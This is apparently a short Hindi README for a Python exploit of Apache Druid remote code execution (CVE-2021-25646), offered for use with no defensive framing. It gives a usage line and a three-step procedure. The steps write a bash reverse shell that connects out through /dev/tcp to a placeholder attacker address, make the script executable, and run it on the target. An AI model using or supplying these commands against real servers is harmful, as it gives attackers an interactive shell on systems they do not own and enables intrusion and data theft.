
Python एक्सप्लॉइट Apache Druid रिमोट कोड एक्ज़ीक्यूशन (CVE-2021-25646) के लिए, जिसमें रिवर्स शेल और कमांड एक्ज़ीक्यूशन क्षमताएँ शामिल हैं।
usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd
रिवर्स शेल निम्नानुसार है:
रिवर्स शेल स्क्रिप्ट लिखें
python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i >& /dev/tcp/x.x.x.x/xxxx 0>&1' > /tmp/1.sh"
शेल स्क्रिप्ट को निष्पादन अनुमति दें
python3 CVE-2021-25646.py -u http://x.x.x.x -c "chmod +x /tmp/1.sh"
शेल निष्पादित करें
python3 CVE-2021-25646.py -u http://x.x.x.x -c "/bin/bash /tmp/1.sh"